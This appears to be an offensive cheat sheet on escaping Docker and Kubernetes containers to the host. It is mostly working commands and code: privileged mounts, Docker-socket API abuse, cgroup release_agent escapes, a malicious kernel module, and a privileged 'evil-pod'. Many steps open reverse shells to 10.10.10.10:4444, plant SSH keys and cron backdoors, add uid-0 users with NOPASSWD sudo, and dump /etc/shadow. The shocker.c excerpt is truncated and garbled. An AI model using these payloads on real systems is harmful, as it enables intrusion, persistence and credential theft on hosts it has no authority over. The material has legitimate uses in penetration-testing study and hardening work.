ᛉ Yggdrasil

Linux

Container Escaping

15 Sep 2026 · 3,785 words · 17 min

Contents

Legend: [DOCKER] = Docker escape | [K8S] = Kubernetes escape | [PRIV] = Privileged container | [MOUNT] = Mount abuse | [CGROUP] = cgroup escape | [CAPS] = Linux capabilities | [SOCK] = Docker socket abuse | [KERNEL] = Kernel exploit | [ENUM] = Enumeration | [DETECT] = Detection


1. Container Security Fundamentals

What it means: Containers (Docker, LXC, containerd) isolate processes using Linux kernel namespaces and cgroups — NOT hardware virtualization like VMs. This means the container shares the HOST kernel. A container escape breaks out of namespace/cgroup isolation to access the host system directly.


1.1 Container vs VM Isolation

┌──────────────────────────────────────────────────────────────────────────────┐
│                     CONTAINER vs VM ISOLATION                                │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   Virtual Machine                     Container                              │
│                                                                              │
│   ┌──────────────────┐               ┌──────────────────┐                    │
│   │ App              │               │ App              │                    │
│   │ Guest OS         │               │ Container Runtime│                    │
│   │ Hypervisor       │               │ ───────────────  │                    │
│   │ Host OS          │               │ HOST KERNEL  ◄── │  SHARED            │
│   │ Hardware         │               │ Host OS          │                    │
│   └──────────────────┘               └──────────────────┘                    │
│                                                                              │
│   VM: hardware-level isolation                                               │
│   Container: namespace-based isolation                                       │
│                                                                              │
│   VM escape: VERY HARD                                                       │
│   Container escape: FEASIBLE                                                 │
│                                                                              │
│   Container isolation layers:                                                │
│                                                                              │
│     ├─ Namespaces   : PID, NET, MNT, UTS, IPC, USER                          │
│     ├─ cgroups      : CPU / memory limits                                    │
│     ├─ Capabilities : restrict root privileges                               │
│     ├─ Seccomp      : syscall filtering                                      │
│     └─ AppArmor / SELinux : MAC enforcement                                  │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

1.2 Container Escape Attack Surface

Escape Vector Requires Severity
──────────────────────────────────────────────────────────────────────
Privileged container --privileged flag CRITICAL
Docker socket mounted /var/run/docker.sock CRITICAL
Dangerous capabilities CAP_SYS_ADMIN etc. CRITICAL
cgroup release_agent CAP_SYS_ADMIN CRITICAL
Host filesystem mounted -v /:/host CRITICAL
Kernel exploit Vulnerable host kernel HIGH
Writable /proc/sysrq-trigger Specific mount HIGH
Exposed host network --network=host MEDIUM
Shared PID namespace --pid=host MEDIUM
Environment variable secrets Misconfiguration MEDIUM


2. Enumeration — Am I in a Container?

What it means: Before escaping, confirm you're inside a container and identify what escape vectors are available. This determines the exact attack path.


2.1 Detecting Container Environment

# ─── Method 1: .dockerenv file ───
ls -la /.dockerenv
# File exists → you are in a Docker container!

# ─── Method 2: cgroup check ───
cat /proc/1/cgroup
# Contains "docker", "kubepods", "containerd" → container!
# Example: 12:devices:/docker/abcd1234abcd...
#                       ^^^^^^

# ─── Method 3: hostname ───
hostname
# Random hex string (e.g., a3f9b2c1d0e4) → Docker container

# ─── Method 4: Process tree ───
ps aux
# Very few processes (only app + shell) → container!
# Full OS processes (cron, syslog, etc.) → bare metal or VM

# ─── Method 5: init process check ───
cat /proc/1/comm
# "docker-init" or "tini" → container!
# "systemd" or "init" → host

# ─── Method 6: overlay filesystem ───
cat /proc/mounts | grep overlay
# overlay on / type overlay → Docker container!

# ─── Method 7: namespace check ───
ls -la /proc/1/ns/
# Compare with current process ns:
ls -la /proc/self/ns/
# Different inode numbers = different namespaces = containerized

2.2 Enumerate Escape Vectors

# ─── Check privileged mode ───
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff → ALL capabilities = PRIVILEGED!
# CapEff: 00000000a80425fb → limited caps = non-privileged

# Decode capabilities:
capsh --decode=0000003fffffffff
# → cap_sys_admin, cap_sys_ptrace, cap_net_admin, cap_dac_read_search...

# Quick privileged check:
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" || echo "NOT PRIVILEGED"

# ─── Check Docker socket ───
ls -la /var/run/docker.sock 2>/dev/null
# If file exists → Docker socket mounted → ESCAPE!
find / -name "docker.sock" 2>/dev/null

# ─── Check mounted filesystems ───
cat /proc/mounts
mount | grep -v "proc\|sysfs\|devpts\|overlay\|tmpfs"
# Look for host directories mounted: /host, /mnt/host, /rootfs

# ─── Check sensitive host paths ───
ls /host 2>/dev/null
ls /mnt/host 2>/dev/null
ls /rootfs 2>/dev/null
ls /hostfs 2>/dev/null

# ─── Check capabilities ───
capsh --print
# Look for: cap_sys_admin, cap_sys_ptrace, cap_net_raw,
#           cap_dac_read_search, cap_sys_module, cap_sys_rawio

# ─── Check seccomp ───
cat /proc/self/status | grep Seccomp
# Seccomp: 0 → NO seccomp! All syscalls allowed!
# Seccomp: 2 → seccomp filter active

# ─── Check AppArmor ───
cat /proc/self/attr/current
# "unconfined" → no AppArmor → more attack surface!

# ─── Automated: deepce (container escape enumeration) ───
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
# OR upload and run:
./deepce.sh --no-colors

# ─── CDK (Cloud Detective Kit) ───
./cdk eva   # enumerate ALL escape vectors!

3. Privileged Container Escape

What it means: --privileged disables ALL security restrictions — full capability set, no seccomp, no AppArmor, all devices accessible. This is the easiest and most reliable container escape — equivalent to running as root on the host.


3.1 Privileged Mode Verification

# Confirm privileged:
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged!

# Alternative check:
fdisk -l 2>/dev/null | head
# Can list disk devices → privileged!

ls /dev/sd* /dev/hd* /dev/vd* 2>/dev/null
# Host block devices visible → privileged!

3.2 Privileged Escape — Mount Host Filesystem

# ─── Method 1: Mount host root partition ───

# List available block devices:
fdisk -l
lsblk
# Look for: /dev/sda, /dev/vda, /dev/xvda (host disk!)
# Usually the largest partition = host root

# Mount host root filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host    # adjust device as needed

# Verify:
ls /mnt/host
# See host's /etc, /home, /root, /var → HOST FILESYSTEM!

# ─── Read host sensitive files ───
cat /mnt/host/etc/shadow        # all host password hashes!
cat /mnt/host/root/.ssh/id_rsa  # root SSH private key!
cat /mnt/host/etc/passwd

# ─── Write SSH key for persistent access ───
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA...YOUR_KEY..." >> /mnt/host/root/.ssh/authorized_keys
chmod 600 /mnt/host/root/.ssh/authorized_keys
# Now SSH as root on host: ssh root@<HOST_IP>

# ─── Drop to host shell via chroot ───
chroot /mnt/host /bin/bash
# → NOW you are on the HOST!
whoami    # root
hostname  # host's hostname

3.3 Privileged Escape — nsenter

# ─── nsenter: enter host namespaces ───
# In privileged container → can access host PID namespace

# Find host init PID (PID 1 in host):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# → Shell running in HOST namespaces!
# → You are effectively on the host!

# Verify:
hostname       # host's actual hostname!
cat /etc/shadow  # host's shadow!
ps aux         # all host processes!

# ─── Alternative: mount host /proc ───
nsenter -t 1 -m -u -i -n -p bash
# Simpler form — same effect!

4. Docker Socket Abuse

What it means: If /var/run/docker.sock is mounted inside the container, any process with access to it can issue Docker API commands as if they were the Docker daemon — spawning NEW privileged containers with the host filesystem mounted, achieving full host escape.


4.1 Docker Socket Escape

# ─── Verify socket exists ───
ls -la /var/run/docker.sock
# srw-rw---- → socket file → ESCAPE AVAILABLE!

# ─── Method 1: docker CLI (if installed in container) ───
docker run -v /:/host --rm -it alpine chroot /host bash
# → Runs NEW container with HOST / mounted → chroot → HOST SHELL!

# ─── Method 2: curl (no docker CLI needed) ───
# Use Docker REST API directly via Unix socket!

# Check Docker version (confirm socket works):
curl -s --unix-socket /var/run/docker.sock http://localhost/version

# List running containers:
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

# ─── Create privileged escape container via API ───
# Step 1: Create container
curl -s --unix-socket /var/run/docker.sock \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh"],
    "Binds": ["/:/host"],
    "Privileged": true,
    "HostConfig": {
      "Binds": ["/:/host"],
      "Privileged": true
    }
  }' \
  http://localhost/containers/create

# Note the container ID from response!
CONTAINER_ID="<ID_FROM_RESPONSE>"

# Step 2: Start container
curl -s --unix-socket /var/run/docker.sock \
  -X POST \
  http://localhost/containers/${CONTAINER_ID}/start

# Step 3: Execute command in container
curl -s --unix-socket /var/run/docker.sock \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/host/etc/shadow"]}' \
  http://localhost/containers/${CONTAINER_ID}/exec

# ─── Method 3: Automated with deepce ───
./deepce.sh --exploit SOCK

4.2 Docker Socket — Reverse Shell

# Write attacker SSH key to host via Docker socket:
curl -s --unix-socket /var/run/docker.sock \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c",
            "mkdir -p /host/root/.ssh && echo ssh-rsa AAAA...KEY... >> /host/root/.ssh/authorized_keys"],
    "HostConfig": {"Binds": ["/:/host"]}
  }' \
  http://localhost/containers/create

# Then start the container → SSH key written → SSH as root to host!

5. Linux Capabilities Abuse

What it means: Linux capabilities break the monolithic root privilege into distinct units. Even in non-privileged containers, dangerous capabilities like CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_NET_ADMIN can be individually granted — and each one provides a specific escape path.


5.1 Dangerous Capabilities

# ─── Check capabilities ───
capsh --print
cat /proc/self/status | grep Cap
# Decode:
capsh --decode=<HEX_VALUE>

5.2 CAP_SYS_ADMIN Escape

# CAP_SYS_ADMIN is the most dangerous — almost equivalent to root
# Allows: mount, unshare, write to cgroups, etc.

# ─── cgroup escape (see Section 6) ───
# ─── Mount-based escape ───
mount /dev/sda1 /mnt && chroot /mnt bash

5.3 CAP_SYS_PTRACE Escape

# CAP_SYS_PTRACE allows attaching to ANY process → inject shellcode

# ─── Find a host process (if --pid=host or shared PID ns) ───
ps aux | grep root   # find PID of host process

# ─── Inject shellcode into host process ───
# Using python-ptrace or gdb:
python3 ptrace_inject.py --pid <HOST_PID> --shellcode reverse_shell.bin

# ─── Using gdb ───
gdb -p <HOST_PID>
(gdb) call (void)system("bash -i >& /dev/tcp/10.10.10.10/4444 0>&1")
# Executes in host process context → HOST shell!

# ─── Automated: CDK ───
./cdk run cap-sys-ptrace-escape <HOST_PID>

5.4 CAP_DAC_READ_SEARCH Escape (shocker)

# CAP_DAC_READ_SEARCH bypasses file read permissions
# Can read ANY file on the HOST filesystem using open_by_handle_at()

# ─── Shocker exploit ───
# Compile shocker.c:
cat > shocker.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

struct my_file_handle {
    unsigned int handle_bytes;
    int handle_type;
    unsigned char f_handle;[1]
};

// Full shocker.c exploit from:
// https://github.com/gabrtv/shocker
EOF

gcc -o shocker shocker.c
./shocker /etc/shadow shadow_copy
cat shadow_copy   # HOST's /etc/shadow!

5.5 CAP_NET_ADMIN Escape

# CAP_NET_ADMIN allows modifying network interfaces + sniffing
# Can sniff host network traffic → credential capture

# ─── Sniff host network ───
tcpdump -i any -w /tmp/capture.pcap

# ─── ARP spoofing on host network ───
arpspoof -i eth0 -t <GATEWAY> <TARGET>

# ─── DNS spoofing → redirect host traffic ───
dnsspoof -i eth0

5.6 CAP_SYS_MODULE Escape

# CAP_SYS_MODULE allows loading kernel modules!
# Load malicious kernel module → kernel code exec → host compromise

# ─── Create malicious kernel module ───
cat > escape.c << 'EOF'
#include <linux/kmod.h>
#include <linux/module.h>

static int __init escape_init(void) {
    char *argv[] = {"/bin/bash", "-c",
        "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1", NULL};
    char *envp[] = {"PATH=/usr/bin:/bin", NULL};
    return call_usermodehelper(argv, argv, envp, UMH_WAIT_EXEC);
}
static void __exit escape_exit(void) {}

module_init(escape_init);
module_exit(escape_exit);
MODULE_LICENSE("GPL");
EOF

make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
insmod escape.ko    # loads module → triggers reverse shell on HOST!

6. cgroup Release Agent Escape

What it means: A classic container escape (CVE-2022-0492 context) using the cgroup release_agent mechanism. When all processes in a cgroup exit, the kernel executes the release_agent script on the HOST as root — if we can write to it from inside the container, we achieve host code execution.


6.1 cgroup Escape — Step by Step

# ─── Requirements: CAP_SYS_ADMIN or privileged ───

# Step 1: Mount cgroup filesystem
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp  # try rdma or memory
# OR for newer kernels:
mount -t cgroup2 none /tmp/cgrp

# Step 2: Create a child cgroup
mkdir /tmp/cgrp/child

# Step 3: Enable notify_on_release
echo 1 > /tmp/cgrp/child/notify_on_release

# Step 4: Find host path of container's overlay
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# This gives the HOST path to the container's filesystem!

# Step 5: Write the release_agent (points to our script on host)
echo "$host_path/escape.sh" > /tmp/cgrp/release_agent

# Step 6: Create the payload script
echo '#!/bin/bash' > /escape.sh
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" >> /escape.sh
chmod +x /escape.sh

# Step 7: Trigger by creating + killing process in child cgroup
sh -c "echo $$ > /tmp/cgrp/child/cgroup.procs"
# Process added to child cgroup → exits → release_agent triggered!
# → HOST executes /escape.sh as ROOT!

# ─── One-liner version ───
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o
echo "$t/c" > $d/release_agent
echo '#!/bin/sh' > /c
echo "id > $t/o" >> /c  # writes "id" output to /o on HOST
chmod +x /c
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /o   # proof of host execution!

7. Mounted Host Filesystem Abuse

What it means: When volumes are carelessly mounted (especially -v /:/host, -v /etc:/host/etc, or -v /var/run:/var/run), containers get direct read/write access to host filesystem paths — no exploit needed, just file manipulation.


7.1 Identifying Dangerous Mounts

# ─── Check all mounts ───
cat /proc/mounts
mount
df -h

# ─── Dangerous mount patterns ───
# /:/host                → full host root!
# /etc:/host/etc         → overwrite /etc/passwd, crontab!
# /root:/host/root       → root's home dir
# /var/run:/var/run      → docker socket!
# /proc:/host/proc       → host proc!
# /sys:/host/sys         → host sys!
# /home:/host/home       → user home dirs

7.2 Escape via Mounted /etc

# If /etc is mounted from host:
ls /host/etc   # host's /etc visible!

# ─── Add root user to /etc/passwd ───
echo 'hacker:x:0:0:root:/root:/bin/bash' >> /host/etc/passwd
echo 'hacker:$6$salt$HASH:0:0:99999:7:::' >> /host/etc/shadow
# Use: python3 -c "import crypt; print(crypt.crypt('P@ss123', '\$6\$salt'))"

# Now: su hacker (from host) → root shell!

# ─── Add SUID bash via mounted path ───
cp /bin/bash /host/tmp/bash
chmod u+s /host/tmp/bash
# On host: /tmp/bash -p → root!

# ─── Write cron job to host crontab ───
echo '* * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' \
    >> /host/etc/crontab
# → Reverse shell from HOST in ≤60 seconds!

7.3 Escape via Mounted /root

# If /root is mounted:
ls /host/root

# Write SSH key:
mkdir -p /host/root/.ssh
echo "ssh-rsa AAAA...YOUR_KEY..." >> /host/root/.ssh/authorized_keys
chmod 700 /host/root/.ssh
chmod 600 /host/root/.ssh/authorized_keys

# SSH to host as root:
ssh -i ~/.ssh/id_rsa root@<HOST_IP>

8. Kernel Exploit Escapes

What it means: Since containers share the host kernel, kernel vulnerabilities are exploitable from INSIDE the container. A successful kernel exploit gains code execution at ring-0, bypassing ALL namespace/cgroup isolation completely.


8.1 Common Container Kernel Exploits

# ─── Get kernel version ───
uname -r
uname -a
cat /proc/version

# ─── Notable kernel escapes ───
CVE-2022-0847  Dirty Pipe        5.8 ≤ kernel < 5.16.11
CVE-2022-0492  cgroup escape     kernel < 5.17 (CAP_SYS_ADMIN)
CVE-2021-4034  PwnKit (pkexec)   all kernels (userspace)
CVE-2021-31440 eBPF              kernel 5.7-5.11
CVE-2020-14386 AF_PACKET         kernel < 5.9
CVE-2019-5736  runc escape       runc ≤ 1.0-rc6 (Docker < 18.09.2)
CVE-2017-5123  waitid            kernel < 4.14

8.2 Dirty Pipe (CVE-2022-0847)

# ─── Check vulnerable version ───
uname -r
# Vulnerable: 5.8.x – 5.16.10

# ─── Exploit: overwrite SUID binary ───
# Download/compile dirty pipe exploit
gcc -o dirtypipe dirtypipe.c

# Overwrite /etc/passwd on HOST:
./dirtypipe /etc/passwd 1 "root::0:0:root:/root:/bin/bash\n"
# → root account no longer has password!
# su root → instant root!

# ─── From container → overwrite host file via shared mount ───
./dirtypipe /host/etc/passwd 1 "root::0:0:root:/root:/bin/bash\n"

8.3 runc Container Escape (CVE-2019-5736)

# Affects Docker < 18.09.2, runc ≤ 1.0-rc6
# Overwrites host runc binary from inside container!

# ─── Check Docker/runc version ───
docker version   # from host
# runc --version

# ─── Exploit ───
# Attacker controls container image OR docker exec is used

# Payload: overwrite /proc/self/exe (runc binary) when exec is called
# Use: https://github.com/Frichetten/CVE-2019-5736-PoC

go build main.go
# Place binary in container
# Trigger: docker exec -it container /bin/sh
# → Overwrites HOST runc binary → next docker run = RCE on host!

9. Kubernetes Escapes

What it means: In Kubernetes environments, container escapes often target the K8s API via misconfigured service accounts, exposed kubelet APIs, hostPath mounts, or pod privilege settings that allow escaping to the underlying node.


9.1 K8s Enumeration from Pod

# ─── Check if in Kubernetes ───
env | grep -i kubernetes
ls /var/run/secrets/kubernetes.io/serviceaccount/
# token, ca.crt, namespace → Kubernetes pod!

# ─── Service account token ───
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://kubernetes.default.svc"
CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

# ─── What can I do? ───
curl -s --cacert $CACERT \
     -H "Authorization: Bearer $TOKEN" \
     $APISERVER/api/v1/namespaces/default/pods

# Check permissions:
curl -s --cacert $CACERT \
     -H "Authorization: Bearer $TOKEN" \
     $APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
     -X POST \
     -H "Content-Type: application/json" \
     -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"resource":"pods","verb":"create"}}}'

9.2 K8s Escape — Create Privileged Pod

# If service account can CREATE PODS → escape to node!

# ─── Create privileged pod with host mount ───
cat > evil-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
  namespace: default
spec:
  hostPID: true
  hostIPC: true
  hostNetwork: true
  containers:
  - name: evil
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
    command: ["/bin/sh", "-c",
              "nsenter -t 1 -m -u -i -n -p -- bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"]
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Deploy via kubectl or API:
kubectl apply -f evil-pod.yaml

# Via curl (no kubectl):
curl -s --cacert $CACERT \
     -H "Authorization: Bearer $TOKEN" \
     -H "Content-Type: application/yaml" \
     -X POST \
     -d "$(cat evil-pod.yaml)" \
     $APISERVER/api/v1/namespaces/default/pods
# → Pod starts → nsenter → NODE shell!

9.3 Exposed Kubelet API

# Kubelet API default port: 10250 (authenticated), 10255 (unauthenticated read)
# If anonymous auth enabled on 10250 → unauthenticated RCE!

# ─── Scan for kubelet ───
nmap -p 10250,10255 <NODE_IP>

# ─── Unauthenticated kubelet exec ───
curl -sk https://<NODE_IP>:10250/runningpods/

# Execute command in pod:
curl -sk https://<NODE_IP>:10250/run/<NAMESPACE>/<POD>/<CONTAINER> \
     -d "cmd=id"

# Reverse shell via kubelet:
curl -sk https://<NODE_IP>:10250/run/default/target-pod/main \
     -d "cmd=bash+-i+>&+/dev/tcp/10.10.10.10/4444+0>&1"

10. Miscellaneous Escapes

10.1 Environment Variable Secrets

# Secrets often passed as env vars to containers!
env
printenv
cat /proc/self/environ | tr '\0' '\n'

# Look for:
# AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
# DATABASE_PASSWORD, DB_PASS
# KUBE_TOKEN, SERVICE_ACCOUNT_TOKEN
# GITHUB_TOKEN, API_KEY
# LDAP_BIND_PASSWORD, ADMIN_PASSWORD

10.2 Host PID Namespace Escape

# If container started with --pid=host:
ps aux   # ALL host processes visible!

# ─── Inject into host process ───
# Find unconfined host process:
cat /proc/<HOST_PID>/status | grep -i seccomp
# Seccomp: 0 → no seccomp → injectable!

# Read host process memory:
strings /proc/<HOST_PID>/mem    # may contain credentials!

# ─── nsenter via host PID ───
nsenter -t <HOST_PID> -m -u -i -n -p -- /bin/bash

10.3 Writable Host Path — Cron Abuse

# Any writable host path can lead to escape via cron

# If /etc/cron.d is mounted:
echo '* * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 #' \
    > /host/etc/cron.d/backdoor

# If /var/spool/cron is mounted:
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' \
    >> /host/var/spool/cron/crontabs/root

11. Complete Cheat Sheet

11.1 Escape Vector Decision Tree

Am I in a container?
└── YES: /.dockerenv exists / "docker" in /proc/1/cgroup
│
├── Privileged container? (CapEff = fffffffff)
│ └──► Mount /dev/sda1 → chroot → HOST ROOT!
│ OR nsenter -t 1 -m -u -i -n -p bash
│
├── Docker socket accessible? (/var/run/docker.sock)
│ └──► docker run -v /:/host --rm -it alpine chroot /host bash
│
├── CAP_SYS_ADMIN?
│ └──► cgroup release_agent escape → HOST ROOT!
│
├── CAP_SYS_PTRACE + shared PID ns?
│ └──► gdb -p → inject shellcode → HOST!
│
├── CAP_DAC_READ_SEARCH?
│ └──► shocker exploit → read any HOST file!
│
├── CAP_SYS_MODULE?
│ └──► Load malicious kernel module → HOST ROOT!
│
├── Host filesystem mounted? (/host /rootfs)
│ └──► chroot /host bash → HOST ROOT!
│ OR write to /host/etc/crontab
│
├── Kubernetes? (serviceaccount token)
│ └──► Create privileged pod → nsenter → NODE ROOT!
│
└── Vulnerable kernel? (check uname -r)
└──► Dirty Pipe / runc CVE → HOST ROOT!

11.2 Quick Command Reference

# Detection
ls /.dockerenv && echo "IN DOCKER"
cat /proc/self/status | grep CapEff
ls /var/run/docker.sock
capsh --print
cat /proc/mounts | grep -v "proc\|sys\|dev\|overlay\|tmpfs"

# Privileged escape
mount /dev/sda1 /mnt && chroot /mnt bash
nsenter -t 1 -m -u -i -n -p -- bash

# Docker socket escape
docker run -v /:/host --rm -it alpine chroot /host bash
curl --unix-socket /var/run/docker.sock http://localhost/version

# cgroup escape (CAP_SYS_ADMIN)
mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/child
echo 1 > /tmp/cgrp/child/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/escape.sh" \
    > /tmp/cgrp/release_agent

# Host filesystem abuse
echo 'hacker::0:0::/root:/bin/bash' >> /host/etc/passwd
echo 'ssh-rsa AAAA...' >> /host/root/.ssh/authorized_keys
echo '* * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' \
    >> /host/etc/crontab

# Kernel version check
uname -r   # compare against CVE list

# Automated tools
./deepce.sh
./cdk eva

11.3 Post-Escape Actions

# Confirm host access:
hostname       # should be host's hostname
uname -a       # host kernel
cat /etc/shadow  # host password hashes

# Persistence on host:
useradd -m -s /bin/bash -u 0 -G root hacker
echo "hacker:P@ss123" | chpasswd
echo "hacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# Dump credentials:
cat /etc/shadow
cat /root/.bash_history
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# Pivot:
ss -tulnp   # host listening services
arp -an     # host network neighbors
cat /etc/hosts  # internal hostnames

11.4 Escape Techniques Summary

Technique Requirement Difficulty Impact
Privileged container --privileged 🟢 Easy 🔴 Full host
Docker socket /var/run/docker.sock 🟢 Easy 🔴 Full host
cgroup release_agent CAP_SYS_ADMIN 🟡 Medium 🔴 Full host
nsenter Privileged / host PID 🟢 Easy 🔴 Full host
Host mount abuse Volume misconfig 🟢 Easy 🔴 Full host
CAP_SYS_PTRACE cap_sys_ptrace + host PID ns 🟡 Medium 🔴 Full host
CAP_SYS_MODULE cap_sys_module 🔴 Hard 🔴 Full host
Dirty Pipe Kernel 5.8–5.16.10 🟡 Medium 🔴 Full host
runc CVE-2019-5736 Docker < 18.09.2 🔴 Hard 🔴 Full host
K8s privileged pod Pod create RBAC 🟡 Medium 🔴 Node root

← Linux top ↑